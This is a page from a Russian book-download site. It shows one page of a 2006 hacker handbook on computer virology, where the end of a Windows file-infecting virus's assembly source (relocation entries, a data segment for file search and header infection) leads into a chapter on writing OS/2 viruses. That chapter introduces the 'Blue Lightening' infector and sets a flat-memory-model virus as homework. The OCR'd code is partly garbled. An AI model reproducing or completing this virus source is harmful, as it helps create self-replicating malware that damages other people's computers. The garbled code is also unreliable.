Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 106 107 108 109 110 111 < 112 > 113 114 115 116 117 118 .. 123 >> Следующая

программы, к которой прикрепил себя.
HOST: push О
call FAR PTR PostQuitMessage прерывание программы
;(пользователь)
Ниже даны перемещаемые элементы, добавленные в таблицу перемещений в этом
секторе для удобства вируса. Они должны быть последними в сегменте кода,
чтобы запатченная программа работала правильно.
ARELOCS DW 5 ;число перемещений для добавления R_OPEN DW 103Н,OFFSET
ROPEN+1,1,85 ;таблица перемещений R_READ DW 103H,OFFSET RREAD+1,1,82
R_WRITE DW 103H,OFFSET RWRITE+1.1,86
R_SEEK DW 103H .OFFSET RSEEK+1,1,84 R.CLOSE DW 103H,OFFSET RCLOSE+1,1,81
END_VIRUS: ;метка конца вируса для Windows
CODE ENDS
В сегменте данных не заложен предварительный код, поскольку в Windows
вирус назначает сегмент данных во время своего выполнения. Фактически, мы
полагаем, что во время старта программы сегмент может быть заполнен
каким-то "мусором". Подпрограмма CREATE DS инициализирует некоторые
данные, используемые в том сегменте, который в обычной программе должен
иметь предваряющий код.

ГЛАВА 9. Вирусы под Windows
_DATA SEGMENT PARA USE16 'DATA'
DATASTART EQU $
FILEJD1 DB 6 dup (?) ;для поиска файлов FILEJD2 DB 6dup(?) ;для поиска
файлов KNAME DB 6 dup (?) {"KERNEL"
FILE.NAME DB 13dup(?) {имя файла
VSTART DW ? {начальный офсет вируса в RAM
ENTRYPT DW ? {первоначальный ip вируса
NH OFFSET DW ? ;офсет нового заголовка от начала файла VIRSECS DW ?
{секторы, добавленные к файлу для вируса INnSEC CW ? локация
первоначального cs в файле (в секторах) RELOCS DW ? {число
перемещений в cs
LOG_SEC DW ? {размер логического сектора для программы CS_SIZE DW ?
{размер сегмента кода
KERNEL DW ? {номер модуля KERNEL
MEM_HANDLE DD ? {индекс памяти для сегмента данных
NEWHDR DB NB/VHDRSIZE dup (?) {пространство, в которое {вкладывается
новый заголовок
TEMP DB DATABUF_SIZE dup (?) {временное хранилище данных
*
DATAEND EQU $
_DATA ENDS
_STACK SEGMENT PARA USE16 STACK 'STACK'
STACK ENDS
END VIRUS
Глава 10. Вирусы для OS/2
Операционная система OS/2 была кровным детищем корпорации IBM и впервые
появилась в апреле 1987 года, то есть более восемнадцати лет назад. В те
далекие дни юная "полуось" стала первой 32-битной многозадачной ОС и по
многим параметрам превосходила ранние версии Windows. На первом этапе
OS/2 была принята на вооружение многими телекоммуникационными компаниями
и банковскими структурами, однако впоследствии ее практически полностью
вытеснили мелкософчатые форточники со своими многоозадачивающими
"стеклопакетами". В результате, сейчас об этой достойной операционной
системе практически ничего не слышно. Однако у нее еще остались страстные
поклонники (все же IBM создала для нее свыше 300 приложений), и потому на
задворках компьютерного мира все еще скрипят старые полуоси. Вот для них-
то (поклонников) и их обветшалых тележек и были разработаны несколько
аппетитных "червячков".
OS/2-программы во многом сходны с программами для Windows, поэтому
техники, которые мы обсуждали в прошлой главе, пригодны и для вируса под
OS/2. Основными различиями между OS/2 и Windows являются: а) полное
отсутствие основополагающих служб прерывания за исключением окна DOS (и
даже там вы не получите всего); б) имена функций и условия вызова иные,
чем у Windows; с) элементы, кодированные на ассемблерном уровне,
документированы еще хуже, чем для Windows. Такое впечатление, что
разработчики OS/2 старались навязать нам язык С.
Модели памяти OS/2
В дополнение к перечисленным отличиям, OS/2 поддерживает две абсолютно
иные модели памяти. Первая называется сегментной или моделью памяти
16:16, поскольку она использует 16-битные офсеты и 16-битные селекторы
для доступа к коду и данным. Другая модель памяти называется плоской или
моделью памяти 0:32. Эта модель использует 32-битные офсеты, которые дают
доступ к 4 гигабайтам адресного пространства. Первоначально модель
создавалась для процессоров 80386+, и поскольку 4Ггб покры-
ГЛАВА 10. Вирусы для OS/2
вали всю адресную память процессоров, сегменты здесь не были нужны.
Поэтому все они устанавливались в ноль.
Программы в этих двух моделях памяти отличаются от СОМ-и ЕХЕ-файлов,
поэтому для их инфицирования требуются другие техники. Мы рассмотрим
вирус Blue Lightening ("Голубая молния*), который будет инфицировать
программы с сегментной моделью памяти. Вирус для плоской модели памяти вы
напишите сами - это будет вашим домашним заданием.
Инструменты программирования в OS/2
Хотя написание ассемблерных программ для OS/2 кажется видом черной магии,
оно не труднее, чем использование Ассемблера для Windows. Вам лишь нужны
инструменты, совместимые с OS/2 (например MASM 5.10а и LINK 5.10а,
которые немного староваты, но вполне доступны в Сети). Более свежие
продукты можно найти у поставщиков программного пакета Developer
Connection Kit. В отличие от Windows, OS/2 изначально задумывалась как
операционная система командной строки в защищенном режиме, поэтому многие
программы OS/2 не имеют таких ресурсов, как папки и меню, прикрепленные к
Предыдущая << 1 .. 106 107 108 109 110 111 < 112 > 113 114 115 116 117 118 .. 123 >> Следующая